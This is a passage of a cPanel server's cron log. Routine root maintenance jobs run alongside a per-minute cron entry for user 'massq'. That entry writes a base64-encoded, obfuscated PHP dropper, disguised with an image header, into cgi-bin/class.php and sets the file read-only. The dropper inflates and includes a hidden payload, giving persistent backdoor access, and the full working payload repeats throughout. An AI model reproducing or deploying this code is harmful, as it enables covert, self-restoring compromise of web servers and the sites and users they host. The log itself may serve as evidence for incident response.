0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:01:01 server CROND[11508]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 02:01:01 server run-parts(/etc/cron.hourly)[11508]: starting 0anacron
Sep  1 02:01:01 server anacron[11523]: Anacron started on 2026-09-01
Sep  1 02:01:01 server anacron[11523]: Normal exit (0 jobs run)
Sep  1 02:01:01 server run-parts(/etc/cron.hourly)[11525]: finished 0anacron
Sep  1 02:02:01 server CROND[11953]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:02:01 server CROND[11954]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:02:01 server CROND[11955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:03:01 server CROND[12505]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:03:01 server CROND[12507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:03:01 server CROND[12506]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:04:01 server CROND[12889]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:04:01 server CROND[12890]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:04:01 server CROND[12891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:05:01 server CROND[13489]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  1 02:05:01 server CROND[13490]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 02:05:01 server CROND[13494]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 02:05:01 server CROND[13492]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 02:05:01 server CROND[13493]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:05:01 server CROND[13495]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:05:01 server CROND[13496]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 02:05:01 server CROND[13498]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 02:05:01 server CROND[13497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:06:01 server CROND[14392]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:06:01 server CROND[14393]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:06:01 server CROND[14394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:07:01 server CROND[14775]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:07:01 server CROND[14776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:07:01 server CROND[14777]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:08:01 server CROND[15252]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:08:01 server CROND[15251]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:08:01 server CROND[15253]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:09:01 server CROND[15639]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:09:01 server CROND[15640]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 02:09:01 server CROND[15641]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:09:01 server CROND[15642]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:10:01 server CROND[16041]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 02:10:01 server CROND[16042]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 02:10:01 server CROND[16046]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 02:10:01 server CROND[16060]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 02:10:01 server CROND[16064]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 02:10:01 server CROND[16066]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:10:01 server CROND[16062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:10:01 server CROND[16061]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:11:01 server CROND[16881]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:11:01 server CROND[16882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:11:01 server CROND[16883]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:12:01 server CROND[17272]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:12:01 server CROND[17273]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 02:12:01 server CROND[17275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:12:01 server CROND[17276]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:13:01 server CROND[17650]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:13:01 server CROND[17651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:13:01 server CROND[17652]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUo